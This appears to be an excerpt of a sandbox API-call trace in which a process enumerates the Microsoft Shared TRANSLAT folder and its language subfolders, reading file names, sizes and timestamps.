	[0050.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1
	[0050.754] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.754] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.755] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), fInfoLevelId=0x0, lpFileInformation=0x1270be08 | out: lpFileInformation=0x1270be08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.756] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.756] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1
	[0050.756] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.757] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), fInfoLevelId=0x0, lpFileInformation=0x1270bea8 | out: lpFileInformation=0x1270bea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018)) returned 1
	[0050.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), fInfoLevelId=0x0, lpFileInformation=0x1270bef8 | out: lpFileInformation=0x1270bef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.758] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.758] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1
	[0050.758] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.758] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), fInfoLevelId=0x0, lpFileInformation=0x1270bf98 | out: lpFileInformation=0x1270bf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e)) returned 1
	[0050.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), fInfoLevelId=0x0, lpFileInformation=0x124de008 | out: lpFileInformation=0x124de008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.758] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.758] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1
	[0050.759] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.759] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), fInfoLevelId=0x0, lpFileInformation=0x124de0a8 | out: lpFileInformation=0x124de0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da)) returned 1
	[0050.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), fInfoLevelId=0x0, lpFileInformation=0x124de0f8 | out: lpFileInformation=0x124de0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.759] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.759] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1
	[0050.759] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1
	[0050.759] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1
	[0050.759] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.759] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), fInfoLevelId=0x0, lpFileInformation=0x124de238 | out: lpFileInformation=0x124de238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200)) returned 1
	[0050.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), fInfoLevelId=0x0, lpFileInformation=0x124de288 | out: lpFileInformation=0x124de288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2)) returned 1
